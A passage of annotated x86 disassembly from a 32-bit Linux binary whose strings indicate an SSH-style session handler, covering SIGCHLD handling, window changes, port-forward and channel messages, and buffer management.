080522a3  b9 ff ff ff ff              mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
```

```
080522a8  f2 ae                   repnz scas %es:(%edi),%al
080522aa  89 ce                   mov    %ecx,%esi
080522ac  8b bd 64 ff ff ff       mov    0xffffff64(%ebp),%edi   ;-156 'x64 xff xff xff' "d"
080522b2  b9 ff ff ff ff          mov    $0xffffffff,%ecx    ;-1 'xff xff xff xff' ""
080522b7  f2 ae                   repnz scas %es:(%edi),%al
080522b9  f7 d6                   not    %esi
080522bb  f7 d1                   not    %ecx
080522bd  01 f1                   add    %esi,%ecx
080522bf  51                      push   %ecx
080522c0  53                      push   %ebx
080522c1  e8 16 80 ff ff          call   0804a2dc <snprintf>
080522c6  89 d8                   mov    %ebx,%eax
080522c8  8d 65 f4                lea    0xfffffff4(%ebp),%esp
080522cb  5b                      pop    %ebx
080522cc  5e                      pop    %esi
080522cd  5f                      pop    %edi
080522ce  5d                      pop    %ebp
080522cf  c3                      ret

  ;
  ; >---------------------< Subroutine #  65 >---------------------<
  ;
080522d0 <Unknown0065>:
080522d0  55                      push   %ebp
080522d1  89 e5                   mov    %esp,%ebp
080522d3  83 ec 14                sub    $0x14,%esp
080522d6  68 60 f5 06 08          push   $0x806f560   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                                 SIGCHLD."
080522db  e8 a0 da ff ff          call   0804fd80 <Unknown0039>
080522e0  c7 04 24 8c 9c 07 08    movl   $0x8079c8c,(%esp),1   ;[in .bss] 1277195361 'x61 x74 x20 x4c' "at
                                                                  Linux 7.1 2.96-81)"
080522e7  e8 f0 81 ff ff          call   0804a4dc <wait>
080522ec  83 c4 10                add    $0x10,%esp
080522ef  83 f8 ff                cmp    $0xffffffff,%eax
080522f2  74 51                   je     08052345 <Unknown0065+0x75>
080522f4  8b 15 84 9c 07 08       mov    0x8079c84,%edx   ;[in .bss] 1378361393 'x31 x20 x28 x52' "1 (Red Hat
                                                                 Linux 7.1 2.96-81)"
080522fa  39 d0                   cmp    %edx,%eax
080522fc  74 10                   je     0805230e <Unknown0065+0x3e>
080522fe  51                      push   %ecx
080522ff  52                      push   %edx
08052300  50                      push   %eax
08052301  68 80 f5 06 08          push   $0x806f580   ;[in .rodata] 1634890835 'x53 x74 x72 x61' "Strange,
                                                              got SIGCHLD and wait returned pid %d but child is %d"
08052306  e8 fd da ff ff          call   0804fe08 <Unknown0040>
0805230b  83 c4 10                add    $0x10,%esp
0805230e  a1 8c 9c 07 08          mov    0x8079c8c,%eax   ;[in .bss] 1277195361 'x61 x74 x20 x4c' "at Linux
                                                                 7.1 2.96-81)"
08052313  83 e0 7f                and    $0x7f,%eax
08052316  74 19                   je     08052331 <Unknown0065+0x61>
08052318  a1 8c 9c 07 08          mov    0x8079c8c,%eax   ;[in .bss] 1277195361 'x61 x74 x20 x4c' "at Linux
                                                                 7.1 2.96-81)"
0805231d  31 d2                   xor    %edx,%edx
0805231f  3c 7f                   cmp    $0x7f,%al
08052321  74 0a                   je     0805232d <Unknown0065+0x5d>
08052323  83 e0 7f                and    $0x7f,%eax
08052326  74 05                   je     0805232d <Unknown0065+0x5d>
08052328  ba 01 00 00 00          mov    $0x1,%edx   ;1 'x1 x0 x0 x0' ""
0805232d  85 d2                   test   %edx,%edx
0805232f  74 14                   je     08052345 <Unknown0065+0x75>
08052331  c7 05 88 9c 07 08 01 00 00 00  movl   $0x1,0x8079c88   ;1 'x1 x0 x0 x0' ""
0805233b  c7 05 90 9c 07 08 01 00 00 00  movl   $0x1,0x8079c90   ;1 'x1 x0 x0 x0' ""
08052345  83 ec 08                sub    $0x8,%esp
08052348  68 d0 22 05 08          push   $0x80522d0   ;1 'x1 x0 x0 x0' ""
0805234d  6a 11                   push   $0x11
0805234f  e8 e8 79 ff ff          call   08049d3c <signal>
08052354  c9                      leave
08052355  c3                      ret
08052356  89 f6                   mov    %esi,%esi

  ;
  ; >---------------------< Subroutine #  66 >---------------------<
  ;
08052358 <Unknown0066>:
08052358  55                      push   %ebp
08052359  89 e5                   mov    %esp,%ebp
0805235b  57                      push   %edi
0805235c  56                      push   %esi
0805235d  53                      push   %ebx
0805235e  83 ec 0c                sub    $0xc,%esp
08052361  e9 93 01 00 00          jmp    080524f9 <Unknown0066+0x1a1>   ;403 'x93 x1 x0 x0' ""
08052366  89 f6                   mov    %esi,%esi
```

```
08052368  8d 50 f5                lea     0xfffffff5(%eax),%edx
0805236b  83 fa 12                cmp     $0x12,%edx
0805236e  0f 87 74 01 00 00       ja      080524e8 <Unknown0066+0x190>  ;372 'x74 x1 x0 x0' "t"
08052374  ff 24 95 30 f7 06 08    jmp     *0x806f730(,%edx,4)  ;[in .rodata] 134554604 'xec x23 x5 x8' ""
0805237b  90                      nop
0805237c  83 3d 68 9c 07 08 ff    cmpl    $0xffffffff,0x8079c68  ;[in .bss] 2701623 'x37 x39 x29 x0' "79)"
08052383  75 0b                   jne     08052390 <Unknown0066+0x38>
08052385  e8 be 43 00 00          call    08056748 <Unknown0154>
0805238a  e9 6a 01 00 00          jmp     080524f9 <Unknown0066+0x1a1>  ;362 'x6a x1 x0 x0' "j"
0805238f  90                      nop
08052390  83 ec 0c                sub     $0xc,%esp
08052393  8d 45 f0                lea     0xfffffff0(%ebp),%eax
08052396  50                      push    %eax
08052397  e8 94 43 00 00          call    08056730 <Unknown0153>
0805239c  83 c4 0c                add     $0xc,%esp
0805239f  89 c3                   mov     %eax,%ebx
080523a1  ff 75 f0                pushl   0xfffffff0(%ebp)
080523a4  53                      push    %ebx
080523a5  68 38 9c 07 08          push    $0x8079c38  ;[in .bss] 540689219 'x43 x43 x3a x20' "CC: (GNU) 2.96
                                                        20000731 (Red Hat Linux 7.1 2.96-79)"
080523aa  e8 d5 35 00 00          call    08055984 <Unknown0117>
080523af  83 c4 0c                add     $0xc,%esp
080523b2  ff 75 f0                pushl   0xfffffff0(%ebp)
080523b5  6a 00                   push    $0x0
080523b7  53                      push    %ebx
080523b8  e8 ef 7f ff ff          call    0804a3ac <memset>
080523bd  89 1c 24                mov     %ebx,(%esp,1)
080523c0  e8 4b 4b 00 00          call    08056f10 <Unknown0172>
080523c5  e9 2c 01 00 00          jmp     080524f6 <Unknown0066+0x19e>  ;300 'x2c x1 x0 x0' ","
080523ca  89 f6                   mov     %esi,%esi
080523cc  83 ec 0c                sub     $0xc,%esp
080523cf  68 be f5 06 08          push    $0x806f5be  ;[in .rodata] 541478725 'x45 x4f x46 x20' "EOF received
                                                        for stdin."
080523d4  e8 a7 d9 ff ff          call    0804fd80 <Unknown0039>
080523d9  83 c4 10                add     $0x10,%esp
080523dc  c7 05 0c 7e 07 08 01 00 00 00  movl  $0x1,0x8077e0c  ;1 'x1 x0 x0 x0' ""
080523e6  e9 0e 01 00 00          jmp     080524f9 <Unknown0066+0x1a1>  ;270 'xe x1 x0 x0' ""
080523eb  90                      nop
080523ec  83 ec 0c                sub     $0xc,%esp
080523ef  68 d6 f5 06 08          push    $0x806f5d6  ;[in .rodata] 1684957527 'x57 x69 x6e x64' "Window
                                                        change received."
080523f4  e8 87 d9 ff ff          call    0804fd80 <Unknown0039>
080523f9  e8 06 43 00 00          call    08056704 <Unknown0151>
080523fe  89 c7                   mov     %eax,%edi
08052400  e8 ff 42 00 00          call    08056704 <Unknown0151>
08052405  89 c6                   mov     %eax,%esi
08052407  e8 f8 42 00 00          call    08056704 <Unknown0151>
0805240c  89 c3                   mov     %eax,%ebx
0805240e  e8 f1 42 00 00          call    08056704 <Unknown0151>
08052413  8b 15 68 9c 07 08       mov     0x8079c68,%edx  ;[in .bss] 2701623 'x37 x39 x29 x0' "79)"
08052419  83 c4 10                add     $0x10,%esp
0805241c  83 fa ff                cmp     $0xffffffff,%edx
0805241f  0f 84 d4 00 00 00       je      080524f9 <Unknown0066+0x1a1>  ;212 'xd4 x0 x0 x0' ""
08052425  83 ec 0c                sub     $0xc,%esp
08052428  50                      push    %eax
08052429  53                      push    %ebx
0805242a  56                      push    %esi
0805242b  57                      push    %edi
0805242c  52                      push    %edx
0805242d  e8 a6 d6 ff ff          call    0804fad8 <Unknown0034>
08052432  83 c4 20                add     $0x20,%esp
08052435  e9 bf 00 00 00          jmp     080524f9 <Unknown0066+0x1a1>  ;191 'xbf x0 x0 x0' ""
0805243a  89 f6                   mov     %esi,%esi
0805243c  8b 1d a0 7b 07 08       mov     0x8077ba0,%ebx  ;[in .data] 0 'x0 x0 x0 x0' ""
08052442  85 db                   test    %ebx,%ebx
08052444  74 36                   je      0805247c <Unknown0066+0x124>
08052446  e8 b9 42 00 00          call    08056704 <Unknown0151>
0805244b  89 c3                   mov     %eax,%ebx
0805244d  e8 f6 42 00 00          call    08056748 <Unknown0154>
08052452  83 ec 0c                sub     $0xc,%esp
08052455  68 ee f5 06 08          push    $0x806f5ee  ;[in .rodata] 1768842564 'x44 x65 x6e x69' "Denied port
                                                        open request."
0805245a  e8 21 d9 ff ff          call    0804fd80 <Unknown0039>
0805245f  c7 04 24 16 00 00 00    movl    $0x16,(%esp,1)  ;22 'x16 x0 x0 x0' ""
08052466  e8 a9 3b 00 00          call    08056014 <Unknown0138>
0805246b  89 1c 24                mov     %ebx,(%esp,1)
0805246e  e8 01 3c 00 00          call    08056074 <Unknown0141>
08052473  e8 44 3c 00 00          call    080560bc <Unknown0144>
08052478  eb 7c                   jmp     080524f6 <Unknown0066+0x19e>
0805247a  89 f6                   mov     %esi,%esi
0805247c  83 ec 0c                sub     $0xc,%esp
0805247f  68 08 f6 06 08          push    $0x806f608  ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                        port open request."
08052484  e8 f7 d8 ff ff          call    0804fd80 <Unknown0039>
```

```
08052489   e8 ce 72 00 00      call      0805975c <Unknown0208>
0805248e   eb 66               jmp       080524f6 <Unknown0066+0x19e>
08052490   83 ec 0c            sub       $0xc,%esp
08052493   68 40 f6 06 08      push      $0x806f640   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                       channel open confirmation."
08052498   e8 e3 d8 ff ff      call      0804fd80 <Unknown0039>
0805249d   e8 be 6c 00 00      call      08059160 <Unknown0198>
080524a2   eb 52               jmp       080524f6 <Unknown0066+0x19e>
080524a4   83 ec 0c            sub       $0xc,%esp
080524a7   68 80 f6 06 08      push      $0x806f680   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                       channel open failure."
080524ac   e8 cf d8 ff ff      call      0804fd80 <Unknown0039>
080524b1   e8 2e 6d 00 00      call      080591e4 <Unknown0199>
080524b6   eb 3e               jmp       080524f6 <Unknown0066+0x19e>
080524b8   e8 67 6b 00 00      call      08059024 <Unknown0194>
080524bd   eb 3a               jmp       080524f9 <Unknown0066+0x1a1>
080524bf   90                  nop
080524c0   83 ec 0c            sub       $0xc,%esp
080524c3   68 9f f6 06 08      push      $0x806f69f   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                       channel close."
080524c8   e8 b3 d8 ff ff      call      0804fd80 <Unknown0039>
080524cd   e8 66 6c 00 00      call      08059138 <Unknown0197>
080524d2   eb 22               jmp       080524f6 <Unknown0066+0x19e>
080524d4   83 ec 0c            sub       $0xc,%esp
080524d7   68 c0 f6 06 08      push      $0x806f6c0   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                       channel close confirmation."
080524dc   e8 9f d8 ff ff      call      0804fd80 <Unknown0039>
080524e1   e8 2a 6c 00 00      call      08059110 <Unknown0196>
080524e6   eb 0e               jmp       080524f6 <Unknown0066+0x19e>
080524e8   83 ec 08            sub       $0x8,%esp
080524eb   50                  push      %eax
080524ec   68 00 f7 06 08      push      $0x806f700   ;[in .rodata] 1953460816 'x50 x72 x6f x74' "Protocol
                                                       error during session: type %d"
080524f1   e8 ea 42 00 00      call      080567e0 <Unknown0157>
080524f6   83 c4 10            add       $0x10,%esp
080524f9   e8 ea 3e 00 00      call      080563e8 <Unknown0147>
080524fe   85 c0               test      %eax,%eax
08052500   0f 85 62 fe ff ff   jne       08052368 <Unknown0066+0x10>   ;-414 'x62 xfe xff xff' "b"
08052506   8d 65 f4            lea       0xfffffff4(%ebp),%esp
08052509   5b                  pop       %ebx
0805250a   5e                  pop       %esi
0805250b   5f                  pop       %edi
0805250c   5d                  pop       %ebp
0805250d   c3                  ret
0805250e   89 f6               mov       %esi,%esi


   ;
   ; >--------------------<  Subroutine #  67 >--------------------<
   ;
08052510 <Unknown0067>:
08052510   55                  push      %ebp
08052511   89 e5               mov       %esp,%ebp
08052513   53                  push      %ebx
08052514   52                  push      %edx
08052515   e9 89 00 00 00      jmp       080525a3 <Unknown0067+0x93>   ;137 'x89 x0 x0 x0' ""
0805251a   89 f6               mov       %esi,%esi
0805251c   83 ec 0c            sub       $0xc,%esp
0805251f   68 58 9c 07 08      push      $0x8079c58   ;[in .bss] 1852394528 'x20 x4c x69 x6e' " Linux 7.1
                                                       2.96-79)"
08052524   e8 1f 35 00 00      call      08055a48 <Unknown0119>
08052529   89 c3               mov       %eax,%ebx
0805252b   e8 2c 46 00 00      call      08056b5c <Unknown0163>
08052530   83 c4 10            add       $0x10,%esp
08052533   85 c0               test      %eax,%eax
08052535   74 11               je        08052548 <Unknown0067+0x38>
08052537   81 fb 00 02 00 00   cmp       $0x200,%ebx   ;512 'x0 x2 x0 x0' ""
0805253d   7e 2a               jle       08052569 <Unknown0067+0x59>
0805253f   bb 00 02 00 00      mov       $0x200,%ebx   ;512 'x0 x2 x0 x0' ""
08052544   eb 23               jmp       08052569 <Unknown0067+0x59>
08052546   89 f6               mov       %esi,%esi
08052548   81 fb 00 80 00 00   cmp       $0x8000,%ebx   ;32768 'x0 x80 x0 x0' ""
0805254e   7e 05               jle       08052555 <Unknown0067+0x45>
08052550   bb 00 80 00 00      mov       $0x8000,%ebx   ;32768 'x0 x80 x0 x0' ""
08052555   e8 1e 46 00 00      call      08056b78 <Unknown0165>
0805255a   d1 e8               shr       %eax
0805255c   39 c3               cmp       %eax,%ebx
0805255e   76 09               jbe       08052569 <Unknown0067+0x59>
08052560   e8 13 46 00 00      call      08056b78 <Unknown0165>
08052565   89 c3               mov       %eax,%ebx
08052567   d1 eb               shr       %ebx
08052569   83 ec 0c            sub       $0xc,%esp
0805256c   6a 12               push      $0x12
0805256e   e8 a1 3a 00 00      call      08056014 <Unknown0138>
```

```
08052573   59                        pop     %ecx
08052574   58                        pop     %eax
08052575   53                        push    %ebx
08052576   68 58 9c 07 08            push    $0x8079c58   ;[in .bss] 1852394528 'x20 x4c x69 x6e' " Linux 7.1
                                                           2.96-79)"
0805257b   e8 8c 35 00 00            call    08055b0c <Unknown0123>
08052580   89 04 24                  mov     %eax,(%esp,1)
08052583   e8 04 3b 00 00            call    0805608c <Unknown0142>
08052588   e8 2f 3b 00 00            call    080560bc <Unknown0144>
0805258d   58                        pop     %eax
0805258e   5a                        pop     %edx
0805258f   53                        push    %ebx
08052590   68 58 9c 07 08            push    $0x8079c58   ;[in .bss] 1852394528 'x20 x4c x69 x6e' " Linux 7.1
                                                           2.96-79)"
08052595   e8 02 35 00 00            call    08055a9c <Unknown0121>
0805259a   83 c4 10                  add     $0x10,%esp
0805259d   01 1d 04 7e 07 08         add     %ebx,0x8077e04   ;[in .data] 0 'x0 x0 x0 x0' ""
080525a3   83 ec 0c                  sub     $0xc,%esp
080525a6   68 58 9c 07 08            push    $0x8079c58   ;[in .bss] 1852394528 'x20 x4c x69 x6e' " Linux 7.1
                                                           2.96-79)"
080525ab   e8 98 34 00 00            call    08055a48 <Unknown0119>
080525b0   83 c4 10                  add     $0x10,%esp
080525b3   85 c0                     test    %eax,%eax
080525b5   74 0d                     je      080525c4 <Unknown0067+0xb4>
080525b7   e8 cc 43 00 00            call    08056988 <Unknown0161>
080525bc   85 c0                     test    %eax,%eax
080525be   0f 85 58 ff ff ff         jne     0805251c <Unknown0067+0xc>   ;-168 'x58 xff xff xff' "X"
080525c4   8b 5d fc                  mov     0xfffffffc(%ebp),%ebx
080525c7   c9                        leave
080525c8   c3                        ret
080525c9   8d 76 00                  lea     0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine #  68 >--------------------<
  ;
080525cc <Unknown0068>:
080525cc   55                        push    %ebp
080525cd   89 e5                     mov     %esp,%ebp
080525cf   53                        push    %ebx
080525d0   53                        push    %ebx
080525d1   e9 89 00 00 00            jmp     0805265f <Unknown0068+0x93>   ;137 'x89 x0 x0 x0' ""
080525d6   89 f6                     mov     %esi,%esi
080525d8   83 ec 0c                  sub     $0xc,%esp
080525db   68 48 9c 07 08            push    $0x8079c48   ;[in .bss] 808464432 'x30 x30 x30 x30' "0000731 (Red
                                                           Hat Linux 7.1 2.96-79)"
080525e0   e8 63 34 00 00            call    08055a48 <Unknown0119>
080525e5   89 c3                     mov     %eax,%ebx
080525e7   e8 70 45 00 00            call    08056b5c <Unknown0163>
080525ec   83 c4 10                  add     $0x10,%esp
080525ef   85 c0                     test    %eax,%eax
080525f1   74 11                     je      08052604 <Unknown0068+0x38>
080525f3   81 fb 00 02 00 00         cmp     $0x200,%ebx   ;512 'x0 x2 x0 x0' ""
080525f9   7e 2a                     jle     08052625 <Unknown0068+0x59>
080525fb   bb 00 02 00 00            mov     $0x200,%ebx   ;512 'x0 x2 x0 x0' ""
08052600   eb 23                     jmp     08052625 <Unknown0068+0x59>
08052602   89 f6                     mov     %esi,%esi
08052604   81 fb 00 80 00 00         cmp     $0x8000,%ebx   ;32768 'x0 x80 x0 x0' ""
0805260a   7e 05                     jle     08052611 <Unknown0068+0x45>
0805260c   bb 00 80 00 00            mov     $0x8000,%ebx   ;32768 'x0 x80 x0 x0' ""
08052611   e8 62 45 00 00            call    08056b78 <Unknown0165>
08052616   d1 e8                     shr     %eax
08052618   39 c3                     cmp     %eax,%ebx
0805261a   76 09                     jbe     08052625 <Unknown0068+0x59>
0805261c   e8 57 45 00 00            call    08056b78 <Unknown0165>
08052621   89 c3                     mov     %eax,%ebx
08052623   d1 eb                     shr     %ebx
08052625   83 ec 0c                  sub     $0xc,%esp
08052628   6a 11                     push    $0x11
0805262a   e8 e5 39 00 00            call    08056014 <Unknown0138>
0805262f   5a                        pop     %edx
08052630   59                        pop     %ecx
08052631   53                        push    %ebx
08052632   68 48 9c 07 08            push    $0x8079c48   ;[in .bss] 808464432 'x30 x30 x30 x30' "0000731 (Red
                                                           Hat Linux 7.1 2.96-79)"
08052637   e8 d0 34 00 00            call    08055b0c <Unknown0123>
0805263c   89 04 24                  mov     %eax,(%esp,1)
0805263f   e8 48 3a 00 00            call    0805608c <Unknown0142>
08052644   e8 73 3a 00 00            call    080560bc <Unknown0144>
08052649   59                        pop     %ecx
0805264a   58                        pop     %eax
0805264b   53                        push    %ebx
0805264c   68 48 9c 07 08            push    $0x8079c48   ;[in .bss] 808464432 'x30 x30 x30 x30' "0000731 (Red
```

Hat Linux 7.1 2.96-79)"

```
08052651   e8 46 34 00 00        call     08055a9c <Unknown0121>
08052656   83 c4 10              add      $0x10,%esp
08052659   01 1d 00 7e 07 08     add      %ebx,0x8077e00  ;[in .data] 0 'x0 x0 x0 x0' ""
0805265f   83 ec 0c              sub      $0xc,%esp
08052662   68 48 9c 07 08        push     $0x8079c48  ;[in .bss] 808464432 'x30 x30 x30 x30' "0000731 (Red
                                                      Hat Linux 7.1 2.96-79)"
08052667   e8 dc 33 00 00        call     08055a48 <Unknown0119>
0805266c   83 c4 10              add      $0x10,%esp
0805266f   85 c0                 test     %eax,%eax
08052671   74 0d                 je       08052680 <Unknown0068+0xb4>
08052673   e8 10 43 00 00        call     08056988 <Unknown0161>
08052678   85 c0                 test     %eax,%eax
0805267a   0f 85 58 ff ff ff     jne      080525d8 <Unknown0068+0xc>  ;-168 'x58 xff xff xff' "X"
08052680   8b 5d fc              mov      0xfffffffc(%ebp),%ebx
08052683   c9                    leave
08052684   c3                    ret
08052685   8d 76 00              lea      0x0(%esi),%esi


  ;
  ; >--------------------<   Subroutine #  69 >--------------------<
  ;
08052688 <Unknown0069>:
08052688   55                    push     %ebp
08052689   89 e5                 mov      %esp,%ebp
0805268b   57                    push     %edi
0805268c   56                    push     %esi
0805268d   53                    push     %ebx
0805268e   83 ec 1c              sub      $0x1c,%esp
08052691   8b 75 08              mov      0x8(%ebp),%esi
08052694   8b 5d 10              mov      0x10(%ebp),%ebx
08052697   c7 05 90 9c 07 08 00 00 00 00  movl    $0x0,0x8079c90  ;0 'x0 x0 x0 x0' ""
080526a1   31 c0                 xor      %eax,%eax
080526a3   89 f7                 mov      %esi,%edi
080526a5   b9 20 00 00 00        mov      $0x20,%ecx  ;32 'x20 x0 x0 x0' " "
080526aa   fc                    cld
080526ab   f3 ab                 repz stos %eax,%es:(%edi)
080526ad   83 ec 0c              sub      $0xc,%esp
080526b0   68 38 9c 07 08        push     $0x8079c38  ;[in .bss] 540689219 'x43 x43 x3a x20' "CC: (GNU) 2.96
                                                      20000731 (Red Hat Linux 7.1 2.96-79)"
080526b5   e8 8e 33 00 00        call     08055a48 <Unknown0119>
080526ba   83 c4 10              add      $0x10,%esp
080526bd   3d ff 0f 00 00        cmp      $0xfff,%eax  ;4095 'xff xf x0 x0' ""
080526c2   77 1b                 ja       080526df <Unknown0069+0x57>
080526c4   e8 3b 6a 00 00        call     08059104 <Unknown0195>
080526c9   85 c0                 test     %eax,%eax
080526cb   74 12                 je       080526df <Unknown0069+0x57>
080526cd   8b 15 74 9c 07 08     mov      0x8079c74,%edx  ;[in .bss] 539579726 'x4e x55 x29 x20' "NU) 2.96
                                                          20000731 (Red Hat Linux 7.1 2.96-81)"
080526d3   89 d0                 mov      %edx,%eax
080526d5   83 e0 1f              and      $0x1f,%eax
080526d8   c1 ea 05              shr      $0x5,%edx
080526db   0f ab 04 96           bts      %eax,(%esi,%edx,4)
080526df   e8 a4 42 00 00        call     08056988 <Unknown0161>
080526e4   85 c0                 test     %eax,%eax
080526e6   74 38                 je       08052720 <Unknown0069+0x98>
080526e8   8b 3d 10 7e 07 08     mov      0x8077e10,%edi  ;[in .data] 0 'x0 x0 x0 x0' ""
080526ee   85 ff                 test     %edi,%edi
080526f0   75 12                 jne      08052704 <Unknown0069+0x7c>
080526f2   8b 15 6c 9c 07 08     mov      0x8079c6c,%edx  ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
080526f8   89 d0                 mov      %edx,%eax
080526fa   83 e0 1f              and      $0x1f,%eax
080526fd   c1 ea 05              shr      $0x5,%edx
08052700   0f ab 04 96           bts      %eax,(%esi,%edx,4)
08052704   8b 0d 14 7e 07 08     mov      0x8077e14,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
0805270a   85 c9                 test     %ecx,%ecx
0805270c   75 12                 jne      08052720 <Unknown0069+0x98>
0805270e   8b 15 70 9c 07 08     mov      0x8079c70,%edx  ;[in .bss] 1193812026 'x3a x20 x28 x47' ": (GNU)
                                                          2.96 20000731 (Red Hat Linux 7.1 2.96-81)"
08052714   89 d0                 mov      %edx,%eax
08052716   83 e0 1f              and      $0x1f,%eax
08052719   c1 ea 05              shr      $0x5,%edx
0805271c   0f ab 04 96           bts      %eax,(%esi,%edx,4)
08052720   31 c0                 xor      %eax,%eax
08052722   b9 20 00 00 00        mov      $0x20,%ecx  ;32 'x20 x0 x0 x0' " "
08052727   8b 7d 0c              mov      0xc(%ebp),%edi
0805272a   fc                    cld
0805272b   f3 ab                 repz stos %eax,%es:(%edi)
0805272d   83 ec 08              sub      $0x8,%esp
08052730   ff 75 0c              pushl    0xc(%ebp)
08052733   56                    push     %esi
08052734   e8 4f 5f 00 00        call     08058688 <Unknown0191>
```

```
08052739   e8 2a 42 00 00         call    08056968 <Unknown0160>
0805273e   83 c4 10               add     $0x10,%esp
08052741   85 c0                  test    %eax,%eax
08052743   74 15                  je      0805275a <Unknown0069+0xd2>
08052745   8b 15 78 9c 07 08      mov     0x8079c78,%edx   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96
                                                              20000731 (Red Hat Linux 7.1 2.96-81)"
0805274b   89 d0                  mov     %edx,%eax
0805274d   83 e0 1f               and     $0x1f,%eax
08052750   c1 ea 05               shr     $0x5,%edx
08052753   8b 4d 0c               mov     0xc(%ebp),%ecx
08052756   0f ab 04 91            bts     %eax,(%ecx,%edx,4)
0805275a   83 3d 68 9c 07 08 ff   cmpl    $0xffffffff,0x8079c68   ;[in .bss] 2701623 'x37 x39 x29 x0' "79)"
08052761   74 29                  je      0805278c <Unknown0069+0x104>
08052763   83 ec 0c               sub     $0xc,%esp
08052766   68 38 9c 07 08         push    $0x8079c38   ;[in .bss] 540689219 'x43 x43 x3a x20' "CC: (GNU) 2.96
                                                              20000731 (Red Hat Linux 7.1 2.96-79)"
0805276b   e8 d8 32 00 00         call    08055a48 <Unknown0119>
08052770   83 c4 10               add     $0x10,%esp
08052773   85 c0                  test    %eax,%eax
08052775   74 15                  je      0805278c <Unknown0069+0x104>
08052777   8b 15 68 9c 07 08      mov     0x8079c68,%edx   ;[in .bss] 2701623 'x37 x39 x29 x0' "79)"
0805277d   89 d0                  mov     %edx,%eax
0805277f   83 e0 1f               and     $0x1f,%eax
08052782   c1 ea 05               shr     $0x5,%edx
08052785   8b 4d 0c               mov     0xc(%ebp),%ecx
08052788   0f ab 04 91            bts     %eax,(%ecx,%edx,4)
0805278c   e8 4f 6b 00 00         call    080592e0 <Unknown0202>
08052791   3b 05 80 9c 07 08      cmp     0x8079c80,%eax   ;[in .bss] 859254832 'x30 x30 x37 x33' "00731 (Red
                                                              Hat Linux 7.1 2.96-81)"
08052797   7e 0a                  jle     080527a3 <Unknown0069+0x11b>
08052799   e8 42 6b 00 00         call    080592e0 <Unknown0202>
0805279e   a3 80 9c 07 08         mov     %eax,0x8079c80   ;[in .bss] 859254832 'x30 x30 x37 x33' "00731 (Red
                                                              Hat Linux 7.1 2.96-81)"
080527a3   a1 88 9c 07 08         mov     0x8079c88,%eax   ;[in .bss] 1210082405 'x65 x64 x20 x48' "ed Hat
                                                              Linux 7.1 2.96-81)"
080527a8   85 c0                  test    %eax,%eax
080527aa   74 09                  je      080527b5 <Unknown0069+0x12d>
080527ac   85 db                  test    %ebx,%ebx
080527ae   75 05                  jne     080527b5 <Unknown0069+0x12d>
080527b0   bb 64 00 00 00         mov     $0x64,%ebx   ;100 'x64 x0 x0 x0' "d"
080527b5   8b 0d b0 7b 07 08      mov     0x8077bb0,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
080527bb   85 c9                  test    %ecx,%ecx
080527bd   74 49                  je      08052808 <Unknown0070+0x8>
080527bf   85 db                  test    %ebx,%ebx
080527c1   74 10                  je      080527d3 <Unknown0069+0x14b>
080527c3   ba d3 4d 62 10         mov     $0x10624dd3,%edx   ;274877907 'xd3 x4d x62 x10' ""
080527c8   89 d8                  mov     %ebx,%eax
080527ca   f7 e2                  mul     %edx
080527cc   c1 ea 06               shr     $0x6,%edx
080527cf   39 ca                  cmp     %ecx,%edx
080527d1   76 35                  jbe     08052808 <Unknown0070+0x8>
080527d3   83 ec 0c               sub     $0xc,%esp
080527d6   6a 00                  push    $0x0
080527d8   e8 af 78 ff ff         call    0804a08c <time>
080527dd   2b 05 f8 7d 07 08      sub     0x8077df8,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
080527e3   8b 15 b0 7b 07 08      mov     0x8077bb0,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
080527e9   83 c4 10               add     $0x10,%esp
080527ec   39 c2                  cmp     %eax,%edx
080527ee   7e 08                  jle     080527f8 <Unknown0069+0x170>
080527f0   29 c2                  sub     %eax,%edx
080527f2   89 55 e8               mov     %edx,0xffffffe8(%ebp)
080527f5   eb 08                  jmp     080527ff <Unknown0069+0x177>
080527f7   90                     nop
080527f8   c7 45 e8 01 00 00 00   movl    $0x1,0xffffffe8(%ebp)
080527ff   c7 45 ec 00 00 00 00   movl    $0x0,0xffffffec(%ebp)   ;0 'x0 x0 x0 x0' ""


  ;
  ; >--------------------<  Subroutine #  70 >--------------------<
  ;
08052800 <Unknown0070>:
08052800   45                     inc     %ebp
08052801   ec                     in      (%dx),%al
08052802   00 00                  add     %al,(%eax)
08052804   00 00                  add     %al,(%eax)
08052806   eb 32                  jmp     0805283a <Unknown0070+0x3a>
08052808   31 c0                  xor     %eax,%eax
0805280a   85 db                  test    %ebx,%ebx
0805280c   74 2f                  je      0805283d <Unknown0070+0x3d>
0805280e   89 d8                  mov     %ebx,%eax
08052810   ba d3 4d 62 10         mov     $0x10624dd3,%edx   ;274877907 'xd3 x4d x62 x10' ""
08052815   f7 e2                  mul     %edx
08052817   c1 ea 06               shr     $0x6,%edx
0805281a   89 55 e8               mov     %edx,0xffffffe8(%ebp)
```

```
0805281d  8d 14 92           lea     (%edx,%edx,4),%edx
08052820  8d 14 92           lea     (%edx,%edx,4),%edx
08052823  8d 14 92           lea     (%edx,%edx,4),%edx
08052826  c1 e2 03           shl     $0x3,%edx
08052829  29 d3              sub     %edx,%ebx
0805282b  8d 04 9b           lea     (%ebx,%ebx,4),%eax
0805282e  8d 04 80           lea     (%eax,%eax,4),%eax
08052831  8d 04 80           lea     (%eax,%eax,4),%eax
08052834  c1 e0 03           shl     $0x3,%eax
08052837  89 45 ec           mov     %eax,0xffffffec(%ebp)
0805283a  8d 45 e8           lea     0xffffffe8(%ebp),%eax
0805283d  83 ec 0c           sub     $0xc,%esp
08052840  50                 push    %eax
08052841  6a 00              push    $0x0
08052843  ff 75 0c           pushl   0xc(%ebp)
08052846  a1 80 9c 07 08     mov     0x8079c80,%eax  ;[in .bss] 859254832 'x30 x30 x37 x33' "00731 (Red
                                                                Hat Linux 7.1 2.96-81)"
0805284b  56                 push    %esi
0805284c  40                 inc     %eax
0805284d  50                 push    %eax
